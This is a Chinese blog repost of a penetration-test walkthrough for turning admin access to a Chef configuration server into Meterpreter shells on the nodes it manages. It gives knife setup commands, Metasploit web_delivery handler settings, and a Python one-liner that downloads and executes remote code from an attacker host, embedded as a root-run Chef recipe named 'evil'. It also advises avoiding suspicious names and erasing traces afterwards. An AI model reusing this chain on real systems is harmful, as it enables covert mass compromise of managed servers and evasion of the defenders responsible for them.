怎么获取Chef服务器的Meterpreter Shell

小编给大家分享一下怎么获取Chef服务器的Meterpreter Shell,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!

主要是想警告使用Chef的朋友,你们的管理员账户很可能早已在Chef web interface中泄露。管理员通常无法设置默认管理凭据。在这种情况下,Chef server主页将为你提供。

怎么获取Chef服务器的Meterpreter Shell

在最近的一次渗透测试中,我成功拿下了一台Chef server。然而对于Chef我并不了解,我使用较多的是Puppet,可以说在系统方面的大部分时间我都在使用Puppet。由于此前我从未遇到过Chef,因此我需要在最短的时间内,找出一个可以使用Chef基础架构shell一定范围内所有敏感主机的方法。以下是我的实行过程。

注意:所有这些很可能都是从命令行执行的。我通过Chef web interface获取了一个帐户,并且大部分时间都花在了GUI上。如果你知道如何在命令行上完成这些操作,你可以通过我的联系方式告知我。谢谢!

首先,需要创建一个新的管理用户用于上传cookbooks。如果你手头已经有一个使用习惯的管理用户,那么你可以忽略这一步。

怎么获取Chef服务器的Meterpreter Shell

记下创建新管理用户后界面为你提供的专用RSA密钥。

如果你还没有安装过Chef,那么请在你的攻击机上安装它。出现提示时请输入Chef URL。使用Chef server在其SSL证书中的主机名(不是IP地址或别名/cname),否则最终将导致你可能无法使用knife连接。

apt-get install chef

安装完成后,配置knife连接到Chef server。确保输入的URL和用户名无误。其他选项你可以设置为默认。

knife configure

怎么获取Chef服务器的Meterpreter Shell

将你的私有RSA密钥写入~/.chef目录(.pem文件)中。同时,请确保你已相应地配置了你的~/.chef/knife.rb文件。

怎么获取Chef服务器的Meterpreter Shell

使用你的私钥,下载Chef server的证书并验证knife连接是否正常工作。使用以下命令来执行此操作。

knife ssl fetch
knife ssl check

怎么获取Chef服务器的Meterpreter Shell

快速浏览可用的cookbooks,确保knife连接正常。

knife cookbook list

怎么获取Chef服务器的Meterpreter Shell

现在,你需要创建一个cookbook和recipe。我使用以下命令来执行此操作。但该命令似乎已被弃用,你可以根据提示来替换该命令。

knife cookbook create evil

怎么获取Chef服务器的Meterpreter Shell

接着,我们来启动Metasploit,并创建一个web-delivery multi-handler。这里我选择使用的是python multi-handler payload。

use exploit/multi/script/web_delivery
set SRVPORT 8080
set SRVHOST 192.168.0.223
set URIPATH 2w9kwS11
set PAYLOAD python/meterpreter/reverse_tcp
set LHOST 192.168.0.223
set LPORT 8443
set TARGET 0
run

成功执行后,我们将会获取到以下输出结果:

python -c "import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());"

填充你的cookbook模板文件。下面所有你需要的都在recipes/default.rb中。

execute "evil_commands" do
   command "python -c /"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.223:8080/2w9kwS11');exec(r.read());/""
   user "root"
   action :run
end

填充metadata.rb文件。以下为演示,在实际操作中请尽量避免使用类似于 'evil' 或 'pwnage' 等字符串。

怎么获取Chef服务器的Meterpreter Shell

是时候把你的Cookbook上传到服务器上了。

knife cookbook upload evil

怎么获取Chef服务器的Meterpreter Shell

请确认你的cookbook现在是否已存在于Chef服务器中。你可以在命令行或Web界面中执行以下操作。

knife cookbook list | grep evil

导航到网站上的“Cookbooks”列表。

怎么获取Chef服务器的Meterpreter Shell

将cookbook recipe分配给你想要shell的目标,并将其添加到每个节点的运行列表中。 转到节点列表,单击你感兴趣的节点,单击Edit。

怎么获取Chef服务器的Meterpreter Shell

在左下栏的'Available Recipes'列表中找到你的cookbook recipe,然后将其拖到右上角的 'Run List' 中。点击底部的 'Save Node'按钮提交更改。

怎么获取Chef服务器的Meterpreter Shell

看!成功获取到了一个meterpreter shell。

怎么获取Chef服务器的Meterpreter Shell

为了操作的安全性,一旦你成功获取到了shell连接,请返回到web界面,并从已成功连接的节点运行列表中删除recipe。你不需要从相同的端点产生多个shell。

在完成你的任务后,请务必清除你与之交互过的系统中存在的任何痕迹。kill你的Meterpreter会话,删除你创建的管理用户以及recipe。你可以通过以下命令完成。

关闭会话:

sessions -K

主机与knife的连接:

knife cookbook delete evil

以上是“怎么获取Chef服务器的Meterpreter Shell”这篇文章的所有内容,感谢各位的阅读!相信大家都有了一定的了解,希望分享的内容对大家有所帮助,如果还想学习更多知识,欢迎关注亿速云行业资讯频道!

原创文章,作者:3628473679,如若转载,请注明出处:https://blog.ytso.com/222566.html

(0)
上一篇 2022年1月6日
下一篇 2022年1月6日

相关推荐

发表回复

登录后才能评论